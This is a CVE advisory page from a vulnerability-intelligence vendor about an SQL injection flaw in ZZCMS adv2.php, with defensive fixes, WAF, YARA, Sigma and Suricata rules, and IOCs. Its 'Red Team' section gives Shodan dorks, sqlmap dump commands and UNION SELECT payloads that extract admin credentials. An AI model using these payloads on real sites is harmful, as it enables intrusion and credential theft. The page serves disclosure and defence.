☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-44817

CVE-2024-44817 SQL Injection in Zzcms
📅 PUBLISHED: 2024-09-04 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.98%
👁️
1.98% probability
49.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 2023
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-44817 is a critical SQL Injection vulnerability discovered in ZZCMS version 2023 and earlier. The flaw resides in the id parameter of the adv2.php component, allowing a remote, unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation can lead to the extraction of sensitive information from the database, including user credentials, session tokens, and other confidential data. The vulnerability has a CVSS base score of 7.5 (High) due to its network attack vector, low complexity, and no required privileges. As of this report, no official patch has been released by the vendor, making all instances of ZZCMS 2023 and prior versions vulnerable to active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ZZCMS is a PHP-based content management system. While it is not distributed through major package registries like NPM or PyPI, its supply chain risk is significant due to the lack of a patched version. Organizations using ZZCMS should treat this as a critical supply chain vulnerability, as the software may be bundled with hosting packages or deployed as part of legacy systems. The absence of a vendor patch means that any instance of ZZCMS 2023 or earlier is a potential entry point for attackers.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 7.5 (High)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
  • Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
  • User Interaction: None (UI:N) – No user action is needed for exploitation.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Successful exploitation can lead to full database disclosure.
  • Integrity Impact: None (I:N) – The vulnerability does not allow data modification.
  • Availability Impact: None (A:N) – The vulnerability does not affect system availability.

Threat Level: Critical. The combination of remote exploitability, low complexity, and high confidentiality impact makes this a prime target for automated scanning and exploitation by threat actors.

Deep Dive & Mechanics

The vulnerability exists in the adv2.php script, which is part of the ZZCMS advertising management module. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject malicious SQL payloads by manipulating the id parameter in a GET request.

Vulnerable Code Path (Conceptual):

// adv2.php (vulnerable)
$id = $_GET['id'];
$sql = "SELECT * FROM zzcms_adv WHERE id = $id";
$result = mysqli_query($conn, $sql);

The lack of input validation allows an attacker to break out of the intended SQL syntax and execute arbitrary queries. For example, a simple payload like 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- - can be used to enumerate database columns and extract data.

Attack Flow:

  1. Attacker identifies a ZZCMS instance (e.g., via Shodan or Google dorking).
  2. Attacker sends a crafted HTTP GET request to /adv2.php?id=<payload>.
  3. The vulnerable script processes the request and executes the injected SQL.
  4. The database returns the attacker-controlled data, which is then displayed in the response.
  5. Attacker iterates on the payload to extract sensitive information (e.g., admin credentials, user data).

Vulnerable vs. Patched Code

Since no official patch exists, the following represents the vulnerable code and a recommended fix.

Vulnerable Code (adv2.php):

<?php
$id = $_GET['id'];
$sql = "SELECT * FROM zzcms_adv WHERE id = $id";
$result = mysqli_query($conn, $sql);
// ... process result
?>

Patched Code (Recommended):

<?php
$id = intval($_GET['id']); // Cast to integer
$sql = "SELECT * FROM zzcms_adv WHERE id = $id";
$result = mysqli_query($conn, $sql);
// ... process result
?>

Alternative Patched Code (Using Prepared Statements):

<?php
$stmt = $conn->prepare("SELECT * FROM zzcms_adv WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>

The recommended fix involves either casting the input to an integer (if the id field is numeric) or using prepared statements with parameterized queries. Both methods prevent SQL injection by ensuring user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: ZZCMS 2023 running on Apache/Nginx with PHP 7.x and MySQL.
  • Attacker: Kali Linux with sqlmap and Burp Suite.

Exploitation Steps:

  1. Reconnaissance:

    • Use Shodan dork: http.title:"ZZCMS" to find targets.
    • Verify the vulnerability by sending a test payload:
      curl "http://target.com/adv2.php?id=1'"
      
    • If a SQL error is returned (e.g., You have an error in your SQL syntax), the target is vulnerable.
  2. Automated Exploitation with sqlmap:

    sqlmap -u "http://target.com/adv2.php?id=1" --batch --dbs
    
    • This will enumerate databases.
    • To dump the zzcms_admin table:
      sqlmap -u "http://target.com/adv2.php?id=1" --batch -D zzcms -T zzcms_admin --dump
      
  3. Manual Exploitation (Proof of Concept):

    • Extract database version:
      http://target.com/adv2.php?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -
      
    • Extract admin credentials:
      http://target.com/adv2.php?id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM zzcms_admin-- -
      

Note: The number of columns in the UNION SELECT must match the original query. Use ORDER BY to determine the column count:

http://target.com/adv2.php?id=1 ORDER BY 10-- -

Blue Team (Defensive)

Detection and Response:

  1. Web Application Firewall (WAF) Rules:

    • Block requests containing SQL keywords in the id parameter (e.g., UNION, SELECT, --).
    • Example ModSecurity rule:
      SecRule ARGS:id "@rx (union|select|insert|drop|--|#)" "id:1000,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
      
  2. Input Validation:

    • Ensure the id parameter is strictly numeric. Reject any non-numeric input at the application or reverse proxy level.
  3. Database Hardening:

    • Use a database user with minimal privileges (e.g., only SELECT on necessary tables).
    • Enable query logging to detect anomalous SQL patterns.
  4. Incident Response:

    • If exploitation is detected, immediately isolate the affected server.
    • Review database logs for unauthorized queries.
    • Rotate all credentials stored in the database.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /adv2.php?id= containing SQL keywords (e.g., UNION, SELECT, --, #).
  • Unusual response sizes from adv2.php (e.g., large data dumps).
  • Multiple requests to adv2.php with varying id values in a short time frame.

File System IOCs:

  • Modified adv2.php file (if attacker uploads a web shell).
  • Suspicious files in the ZZCMS uploads directory (e.g., .php files in /uploads/).

Log IOCs:

  • Apache/Nginx access logs showing adv2.php?id= with SQL-like patterns.
  • MySQL general query log showing unexpected UNION SELECT statements.

Example Log Entry:

192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /adv2.php?id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--%20- HTTP/1.1" 200 5432 "-" "sqlmap/1.7.2"

Detection Engineering

YARA Rule

rule CVE_2024_44817_SQLi_ZZCMS {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-44817 in ZZCMS adv2.php"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-44817"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "union select" nocase
        $sqli3 = "1=1" nocase
        $sqli4 = "1=2" nocase
        $sqli5 = "OR 1=1" nocase
        $sqli6 = "OR 1=2" nocase
        $sqli7 = "--" nocase
        $sqli8 = "#" nocase
        $sqli9 = "/*" nocase
        $sqli10 = "sleep(" nocase
        $sqli11 = "benchmark(" nocase
        $sqli12 = "information_schema" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against ZZCMS adv2.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-44817 in ZZCMS adv2.php
author: Valters IT
date: 2024-10-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'id=1%20UNION%20SELECT'
            - 'id=1%20union%20select'
            - 'id=1%20OR%201=1'
            - 'id=1%20OR%201=2'
            - 'id=1%20--'
            - 'id=1%20#'
            - 'id=1%20/*'
            - 'id=1%20sleep('
            - 'id=1%20benchmark('
            - 'id=1%20information_schema'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in URL parameters (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-44817 SQL Injection Attempt - ZZCMS adv2.php";
    flow:to_server,established;
    content:"/adv2.php";
    http_uri;
    content:"id=";
    http_uri;
    pcre:"/(UNION|union|SELECT|select|OR|or|--|#|\/\*|sleep\(|benchmark\(|information_schema)/Ri";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-44817;
)

Remediation & Mitigation

Immediate Actions:

  1. Apply Input Validation: Modify adv2.php to cast the id parameter to an integer or use prepared statements as shown in the patched code section.
  2. Deploy WAF Rules: Implement the ModSecurity or Suricata rules provided in the Detection Engineering section to block exploitation attempts.
  3. Restrict Database Privileges: Ensure the database user used by ZZCMS has only the necessary permissions (e.g., SELECT on specific tables, no DROP or INSERT privileges).

Long-Term Recommendations:

  1. Vendor Patch: Monitor the ZZCMS official website for a security patch. If none is released, consider migrating to an alternative CMS.
  2. Code Audit: Conduct a full security audit of the ZZCMS codebase to identify and fix similar vulnerabilities.
  3. Regular Updates: Keep all software components (PHP, MySQL, web server) up to date with the latest security patches.
  4. Network Segmentation: Place the ZZCMS instance in a segmented network with strict access controls to limit the blast radius of a compromise.

Valters IT – Securing your digital frontier.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ZZCMS"
http.html:"zzcms"
http.html:"Powered by ZZCMS"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-44817/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.